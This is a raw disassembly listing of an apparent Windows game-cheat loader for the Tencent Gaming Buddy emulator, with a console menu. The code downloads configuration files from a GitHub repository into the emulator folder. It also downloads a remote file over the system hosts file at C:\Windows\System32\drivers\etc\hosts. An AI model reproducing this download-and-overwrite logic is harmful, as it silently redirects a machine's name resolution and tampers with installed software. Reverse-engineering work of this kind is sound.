push str.https:__github.com_dark31hfa_DARJ_raw_main_GameSidebar.xml
push 0
call edi
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x4584d9
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 1
jmp 0x4584e0
mov byte [ebp - 0x441], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x458516
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45850c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45850c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x458531
push 0
push 0
push str.C:WindowsSystem32driversetchosts
push str.https:__github.com_dark31hfa_DARJ_raw_main_hosts
push 0
call edi
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x458586
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 1
jmp 0x45858d
mov byte [ebp - 0x441], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x4585c3
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4585b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4585b9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x4585de
push 0
push 0
push str.C:Program_FilesTxGameAssistantui_smk.conf
push str.https:__github.com_dark31hfa_DARJ_raw_main_smk.conf
push 0
call edi
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00460400
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0x63aa98
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x458633
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x441], 1
jmp 0x45863a
mov byte [ebp - 0x441], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x458670
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x458666
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x458666
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
cmp byte [ebp - 0x441], 0
je 0x45868b
push 0
push 0
push str.C:Program_FilesTxGameAssistantui_translate.conf
push str.https:__github.com_dark31hfa_DARJ_raw_main_translate.conf
push 0
call edi
mov eax, dword [ebp - 0x38]
cmp eax, 1
je 0x458bab
cmp eax, 2
je 0x458bab
cmp eax, 3
je 0x458bab
cmp eax, 4
je 0x458bab
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab50
call fcn.0045f410
push 0x3e8
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___H
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db18
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db1c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b778
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab18
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b780
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a718
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db20
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a718
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63c370
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db20
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b770
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b780
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a940
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63c91c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.REGUPOAN
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov edx, 0x63b9b4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b77c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b784
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b784
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b774
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a940
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a948
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.REGUPOAN
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db20
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b780
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab4c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b77c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b774
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b9b8
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.REGUPOAN
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b77c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___H
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db18
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db1c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63ab50
mov ecx, eax
call fcn.0045f410
push 0x1388
call esi
call main
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450400
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.REGUPOAN
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b770
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b774
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a9d4
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db24
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab50
call fcn.0045f410
push 0x64
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4503d0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._Your_Choice_:
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a71a
call fcn.0045f410
push 0x32
call esi
mov eax, dword [ebp - 0x84]
cmp eax, 1
je 0x459275
nop dword [eax + eax]
cmp eax, 2
je 0x459275
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab50
call fcn.0045f410
push 0x3e8
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b778
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab18
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b780
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a718
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db20
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a718
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63c370
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db20
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.REGUPOAN
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b770
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b774
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov edx, 0x63a718
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db20
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b77c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b9b4
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a718
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63ab50
mov ecx, eax
call fcn.0045f410
push 0x7d0
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450400
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.REGUPOAN
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
